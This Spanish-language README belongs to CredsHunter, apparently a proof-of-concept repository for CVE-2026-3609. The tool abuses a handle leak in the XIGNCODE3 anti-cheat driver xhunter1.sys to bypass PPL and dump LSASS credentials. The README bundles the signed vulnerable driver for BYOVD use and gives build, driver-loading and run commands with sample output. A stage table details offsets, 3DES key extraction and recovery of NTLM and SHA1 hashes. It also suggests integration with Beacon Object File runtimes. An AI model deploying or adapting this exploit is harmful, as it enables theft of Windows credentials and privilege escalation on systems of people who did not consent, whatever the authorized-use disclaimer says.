
PoC para CVE-2026-3609 - fuga de identificadores en xhunter1.sys de XIGNCODE3 que permite la evasión de PPL y el volcado de LSASS
Prueba de concepto de volcado de credenciales LSASS para una fuga de manejadores de procesos que evita PPL en el controlador anti-trampas XIGNCODE3 de Wellbia, xhunter1.sys.
El controlador expone una interfaz de comandos IRP_MJ_WRITE que llama a ObOpenObjectByPointer con AccessMode = KernelMode y sin OBJ_KERNEL_HANDLE, colocando un manejador PROCESS_ALL_ACCESS emitido por el kernel directamente en la tabla de manejadores del llamador. A partir de ahí, el código estándar de volcado de credenciales lee la clave 3DES de lsasrv.dll del proceso objetivo y recupera los hashes NTLM + SHA1 de cada sesión de inicio de sesión activa.
xhunter1.sys version 10.0.10011.16384
SHA-256 e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e
El controlador vulnerable firmado está incluido en este repositorio (xhunter1.sys) para que el exploit sea reproducible de principio a fin. Verifica el hash antes de cargarlo:
Get-FileHash .\xhunter1.sys -Algorithm SHA256
Las versiones más recientes de XIGNCODE3 están parcheadas. El binario vulnerable firmado sigue siendo utilizable como primitiva BYOVD en cualquier equipo donde pueda colocarse y cargarse.
git clone https://github.com/BlackSnufkin/CredsHunter.git
cd CredsHunter
cargo build --release
El binario de la versión release se coloca en target\release\CredsHunter.exe.
Carga el controlador incluido como servicio del kernel (la DACL del dispositivo del controlador permite cualquier llamador una vez que está en ejecución):
sc create xhunter type=kernel binPath=(Resolve-Path .\xhunter1.sys)
sc start xhunter
Ejecuta la herramienta:
.\target\release\CredsHunter.exe
Para limpiar después:
sc stop xhunter
sc delete xhunter
El nombre de dispositivo predeterminado es \\.\xhunter (coincidiendo con el nombre de servicio de ejemplo anterior). Si tu servicio usa un nombre diferente, la ruta del dispositivo se ajustará a él — edita driver::DEFAULT_DEVICE o llama a Xhunter::open_named en consecuencia.
xhunter1.sys BYOVD — LSASS credential dump
CVE-2026-3609 — PPL bypass via cmd 785 (ObOpenObjectByPointer/KernelMode)
[+] OS build .............. 26200
[+] lsass.exe PID ......... 940
[+] Driver opened ......... \\.\xhunter
[+] PPL bypass handle ..... 0x154 (ReadProcessMemory)
[+] lsasrv.dll ............ local 0x00007FFB27CB0000 remote 0x00007FFB27CB0000
[+] LSA key addrs (local) . AES 0x... 3DES 0x... IV 0x...
[+] 3DES key (24B) ........ <hex>
[+] IV .................... <hex>
===== LogonSessionList =====
[0001] LogonSession @ 0x...
User : <username>
Domain : <domain>
NTHash : <16 bytes hex>
SHA1 : <20 bytes hex>
[...]
src/
├── main.rs # banner, run flow, ExitCode handling
├── driver.rs # Xhunter, Session, MemReader trait, protocol constants
├── proc.rs # find_pid, PEB-walk remote module lookup
├── pe.rs # local PE parsing + pattern scan + RIP decode
├── lsa.rs # LSA key patterns, BCrypt key extraction, 3DES decrypt
├── logon.rs # LogonSessionList walker + MSV1_0 offsets
├── wdigest.rs # WDigest list walker (best-effort)
└── sys.rs # OS build number
El trait MemReader abstrae las lecturas de memoria para que los módulos de extracción de credenciales no dependan de la primitiva específica del controlador. Implementa el trait en un lector diferente (por ejemplo, un runtime de Beacon Object File, un lector de memoria física basado en ptwalk) y los módulos lsa / logon / wdigest se integran sin cambios.
48 3B D9 74) heredado del PoC público original y no se ha actualizado para Windows 11 build 26100+. Convertir esto en una tabla por compilación es sencillo; se aceptan PRs.xhunter. Si cargas el controlador con un nombre distinto, edita driver::DEFAULT_DEVICE o pasa una anulación a Xhunter::open_named.Solo para investigación, pruebas autorizadas y herramientas defensivas. Cargar el controlador vulnerable en un sistema que no poseas o para el que no tengas permiso explícito de prueba es un delito en la mayoría de las jurisdicciones. El autor no acepta ninguna responsabilidad por el mal uso.
Consulta LICENSE.
| Etapa | Componente | Qué sucede |
|---|
| 1 | driver.rs → Xhunter::open | CreateFile("\\.\\xhunter") — sin autenticación en el dispositivo |
| 2 | driver.rs → Xhunter::open_process | WriteFile con el comando 785 (PID, PROCESS_ALL_ACCESS). El controlador llama a ObOpenObjectByPointer(target, 0, NULL, 0x1FFFFF, PsProcessType, KernelMode, &handle) y escribe el manejador de vuelta en el búfer de respuesta del usuario en +0x10. El manejador evita PPL porque AccessMode = KernelMode omite la comprobación de acceso, y aterriza en nuestra tabla de manejadores porque OBJ_KERNEL_HANDLE no está establecido. |
| 3 | driver.rs → Session::attach | Prueba ReadProcessMemory contra el manejador emitido por el kernel. Recurre al comando 787 del controlador (KeStackAttachProcess + memcpy) si RPM está bloqueado. |
| 4 | lsa.rs | Escanea patrones en .text de lsasrv.dll local para recuperar punteros relativos a RIP de la clave AES, la clave 3DES y el IV dentro de LsaInitializeProtectedMemory. Reubica esas VAs en el mapeo del objetivo, recorre BCRYPT_HANDLE_KEY → BCRYPT_KEY81 y extrae los bytes 3DES crudos del objetivo. |
| 5 | logon.rs | Recorre LogonSessionList (tabla de firmas por compilación). La credencial principal de cada entrada en +credentials → +0x10 → +0x30 contiene un blob cifrado con 3DES de 0x1B0 bytes. bcrypt.dll lo descifra; los bytes 70..86 son el hash NT y 102..122 son el SHA1. |